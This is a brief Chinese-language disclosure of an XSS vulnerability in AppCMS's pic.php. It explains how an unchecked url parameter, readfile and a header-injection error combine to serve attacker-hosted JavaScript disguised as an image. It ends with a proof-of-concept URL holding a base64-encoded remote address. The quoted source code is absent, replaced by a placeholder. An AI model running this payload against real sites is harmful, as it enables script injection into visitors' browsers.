AppCMS pic.phpXSS漏洞

pic.php:

nilbody

先说$img_url变量,可以由$_GET['url']控制,但是只能引用图片,因为12行限制了的。

代码第20行直接读出文件内容,然后返回。由于没有限制路径,我们可以直接读App所在的主机任意图片文件,并且readfile还支持HTTP等协议,所以可以读取远程文件。

其实我要说的是header函数,老版本的PHP可以直接注入%0d%0a,新版本的PHP如果注入%0d%0a,PHP会报错,并把文件内容原封不动返回给浏览器,所以只要引用一张带有JS代码、后缀为图片的文件,就可以XSS了:

http://xxx/pic.php?url=aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc=&type=jpg 11

其中aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc是一张远程图片地址。